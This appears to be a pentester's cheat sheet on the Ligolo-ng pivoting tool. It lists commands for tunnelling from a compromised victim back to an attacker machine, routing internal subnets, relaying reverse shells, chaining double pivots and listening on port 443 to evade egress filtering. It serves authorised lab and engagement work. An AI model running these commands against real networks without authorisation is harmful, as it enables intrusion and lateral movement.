root@sparrow:~/writeups$ cat ligolo-ng.md
// Shells & Pivoting
Ligolo-ng
21 Jul 2026
· 3 min read
Ligolo-ng is a pivoting tool that exposes the internal networks of a compromised host through aTUNinterface on the attacker machine. Instead of a SOCKS proxy wrapped withproxychains, you bring up a real network interface and route through it: any tool (nmap, evil-winrm, impacket) works natively. The agent runs on the victim and connects back to the attacker's proxy.
The key point is that Ligolo works at the TUN level, not SOCKS: that is why you need no proxychains and avoid its limitations (no forced TCP-connect, ICMP and UDP work). The minimal flow has three pieces that are often forgotten: select the session, run start, and add the ip route toward the subnet; miss any one and the tunnel looks dead. Because the agent connects toward the proxy, listening on 443 helps to cross restrictive egress.
1. Beginner level — basic TUN tunnel

| Command | What it does |
|---|---|
ligolo-proxy -selfcert | Starts the proxy (attacker) with a self-signed cert |
sudo ip tuntap add user $USER mode tun ligolo | Creates the ligolo tun interface |
sudo ip link set ligolo up | Brings the interface up |
agent -connect <ip>:11601 -ignore-cert | Connects the agent (victim) to the proxy |
session | Lists and selects the agent session |
ifconfig | (in session) shows the networks reachable from the agent |
start | Starts the tunnel for the selected session |
sudo ip route add 10.10.10.0/24 dev ligolo | Routes the internal subnet through the tunnel |
ligolo-proxy -selfcert -laddr 0.0.0.0:11601 | Changes the listening port |
agent -connect <ip>:11601 -retry | Retries the agent connection |
help | Shows the available commands |
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 | Redirects a port from the agent to the attacker |
listener_list | Lists the active redirectors |
nmap -sT -Pn 10.10.10.5 | Direct scan through the tunnel (no proxychains) |
2. Advanced level — reverse shells and double pivot

| Command | What it does |
|---|---|
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 | Receives a reverse shell on the internal network |
sudo ip route add 240.0.0.1/32 dev ligolo | 'agent' route to connect back to the agent |
./agent -connect <ip>:11601 -ignore-cert & | Launches the agent in the background |
agent.exe -connect <ip>:11601 -ignore-cert | Agent on Windows |
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080 | Forwards web traffic to the attacker |
sudo ip route add 172.16.0.0/16 dev ligolo | Routes a second subnet (double pivot) |
agent -connect <ip>:11601 -ignore-cert -v | Agent in verbose mode |
sudo ip tuntap add user $USER mode tun ligolo2 | Second interface for double pivoting |
listener_delete --id 0 | Deletes a redirector |
agent -connect <ip_pivot1>:11601 -ignore-cert | Chains a second agent (pivot 2) |
ligolo-proxy -selfcert -laddr 0.0.0.0:443 | Listens on 443 to evade egress |
impacket-smbserver share . -smb2support | Shares files reachable through the tunnel |
evil-winrm -i 10.10.10.5 -u user -p pass | Connects to an internal host through the tunnel |
sudo ip route del 10.10.10.0/24 dev ligolo | Removes a route when finished |
3. Details people miss
- Creating and managing the
tuninterface (ip tuntap,ip link,ip route) requires root/sudo; the proxy itself does not, but without the interface there is no pivot. - The most common failure is not a network one: it is forgetting the trio
session→start→ip route add ... dev ligolo. Without the route toward the subnet the tunnel looks dead even if the session is connected. - The agent connects toward the proxy (reverse connection), so the listening port (default
11601) must be reachable from the victim; listening on443helps evade restrictive egress. - To receive reverse shells or reach the agent host itself you need the special route
240.0.0.1/32 dev ligolo; it is the internal address Ligolo reserves to talk to the agent. - Because it is a real
TUNinterface you use noproxychainsor SOCKS: run nmap with-sT -Pn, and remember to clean up routes when done (ip route del) so you do not leave routing altered.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.